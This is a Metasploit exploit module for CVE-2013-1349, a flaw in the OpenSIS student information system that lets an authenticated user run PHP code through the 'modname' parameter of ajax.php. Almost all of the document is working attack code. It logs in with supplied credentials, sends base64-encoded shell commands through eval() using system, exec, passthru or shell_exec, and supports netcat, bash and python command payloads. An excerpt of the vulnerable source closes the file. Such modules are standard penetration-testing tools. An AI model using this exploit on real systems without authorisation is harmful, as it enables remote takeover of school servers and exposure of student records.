OpenSIS 'modname' PHP Code Execution

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'              => "OpenSIS 'modname' PHP Code Execution",
      'Description'       => %q{
        This module exploits a PHP code execution vulnerability in OpenSIS
        versions 4.5 to 5.2 which allows any authenticated user to execute
        arbitrary PHP code under the context of the web-server user.
        The 'ajax.php' file calls 'eval()' with user controlled data from
        the 'modname' parameter.
      },
      'License'           => MSF_LICENSE,
      'Author'            =>
        [
          'EgiX', # Discovery
          'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
        ],
      'References'        =>
        [
          ['CVE',   '2013-1349'],
          ['OSVDB', '100676'],
          ['URL',   'http://karmainsecurity.com/KIS-2013-10'],
          ['URL',   'http://sourceforge.net/p/opensis-ce/bugs/59/']
        ],
      'Payload'           =>
        {
          'BadChars'      => "\x00\x0a\x0d",
          'Compat'        =>
            {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
            }
        },
      'DefaultOptions'    =>
        {
          'ExitFunction'  => 'none'
        },
      'Platform'          => 'unix',
      'Arch'              => ARCH_CMD,
      'Targets'           =>
        [
          # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
          ['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
        ],
      'Privileged'        => false,
      'DisclosureDate'    => 'Dec 04 2012',
      'DefaultTarget'     => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
        OptString.new('USERNAME',  [true, 'The username for OpenSIS']),
        OptString.new('PASSWORD',  [true, 'The password for OpenSIS'])
      ], self.class)
  end

  #
  # Login
  #
  def login(user, pass)
    @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
    print_status("#{peer} - Authenticating as user '#{user}'")
    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path, "index.php"),
      'cookie'     => @cookie,
      'vars_post'  => Hash[{
        'USERNAME' => user,
        'PASSWORD' => pass,
      }.to_a.shuffle]
    })
    if res and res.code == 200 and res.body =~ /Portal\.php/
      print_good("#{peer} - Authenticated as user '#{user}'")
      return true
    else
      print_error("#{peer} - Authenticating as user '#{user}' failed")
      return false
    end
  end

  #
  # Send command for execution
  #
  def execute_command(cmd, opts = { :php_function => 'system' } )
    code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
    junk = rand_text_alphanumeric(rand(10)+6)
    print_status("#{peer} - Sending payload (#{code.length} bytes)")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'ajax.php'),
      'cookie'    => @cookie,
      'vars_post' => {
        'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
      }
    })
    return res
  end

  #
  # Check credentials are valid and confirm command execution
  #
  def check
    return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
    print_status("#{peer} - Sending check")
    res = execute_command("echo #{fingerprint}")
    if res and res.body =~ /align=center>#{fingerprint}/
      return Exploit::CheckCode::Vulnerable
    elsif res
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Unknown
  end

  def exploit
    return unless login(datastore['USERNAME'], datastore['PASSWORD'])
    php_function = [
      'exec',
      'shell_exec',
      'passthru',
      'system'
    ].sample
    res = execute_command(payload.encoded, { :php_function => php_function })
    if res and res.code == 200 and res.body =~ /hacking_log/i
      print_good("#{peer} - Payload sent successfully")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
    end
  end
end

#
# Source
#
=begin ajax.php
90:	if(strpos($_REQUEST['modname'],'?')!==false)
91:	{
92:		$vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
93:		$modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
94:
95:		$vars = explode('?',$vars);
96:		foreach($vars as $code)
97:		{
98:			$code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
99:			eval($code);
100:		}
101:	}
=end